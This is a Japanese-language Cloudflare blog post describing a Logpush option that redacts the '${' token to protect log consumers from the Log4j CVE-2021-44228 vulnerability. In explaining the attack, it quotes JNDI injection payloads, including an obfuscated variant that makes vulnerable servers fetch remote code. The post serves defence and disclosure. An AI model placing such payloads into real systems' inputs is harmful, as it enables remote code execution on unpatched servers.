2021年12月9日、Apache Log4jユーティリティに影響を与えるゼロデイエクスプロイトCVE-2021-44228について世界中に知れ渡りましたCloudflareは直ちにWAFを更新し、この脆弱性から保護するようにしましたが、お客様にはできるだけ早くシステムを更新することをお勧めします。
しかし、多くのCloudflareのお客様がLog4jを使用するソフトウェアを使ってログを消費していることを知っているので、Cloudflare Logs経由で試みられる不正利用未遂も削減しています。この記事の執筆時点で、送信済みのログには毎秒最大1000回の悪用パターンが確認されています。
本脆弱性を誘発する可能性のあるトークンを自動的に削除するよう、Logpush ジョブを直ちに更新することができます。この件に関する詳細は、developer docs または下記をご参照ください。
攻撃の仕組み
Log4jの脆弱性の仕組みについては、こちらのブログ記事をご覧ください。要するに、攻撃者は ${jndi:ldap://example.com/a} のようなものを追加することができるわけです。任意の文字列で、Log4jは、このオブジェクトを取得するために、インターネット上で接続を行います。
Cloudflare Logsには、User AgentやURLパスなど、公衆インターネット上のエンドユーザーが制御可能な文字列フィールドが多数含まれています。本脆弱性により、悪意のあるユーザーが、これらのフィールドを読み取り、パッチが適用されていない Log4j のインスタンスを使用するシステムにおいて、リモートでコードを実行する可能性があります。
当社のミティゲーションプラン
残念ながら、${jndi:ldapのようなトークンをチェックするだけでは、この脆弱性から保護するには十分ではありません。テンプレート言語の表現力の高さから、難読化された亜種もチェックする必要があるのです。すでに、実働環境の攻撃者が ${jndi:${lower:l}${lower:d}a${lower:p}://loc${upper:a}lhost:1389/rce} のようなバリエーションを使用していることが確認されています。したがって、トークン${をリダクティングすることが、この脆弱性を防御する最も一般的な方法です。
トークン ${は現在、弊社がお客様に送信しているログに、1秒間に最大1,000回出現しています。いくつかの記録を抜き取り検査したところ、その多くがこの脆弱性を悪用しようとする試み _ではない_こととがわかりました。したがって、このトークンがログに表示されることを期待しているお客様に影響を与えることなく、安全にログを再編集することはできません。
今より、お客様は Logpush ジョブを更新して、文字列 ${を再編集し、x{に置き換えることができるようになります。
これを有効にするには、Logpush のジョブオプション設定を更新して、パラメータ CVE-2021-44228=true を含めることができます。Logpush API を使用したこの方法の詳細な手順については、弊社開発者向けドキュメントの例をご参照ください。このオプションは現在Cloudflareダッシュボードでは利用できず、APIを利用してのみ変更可能であることに注意してください。
Twitterでつぶやく Hacker Newsで話し合う Redditで話し合う
Twitterでフォロー
Jon Levine | @jplevine
Cloudflare | Cloudflare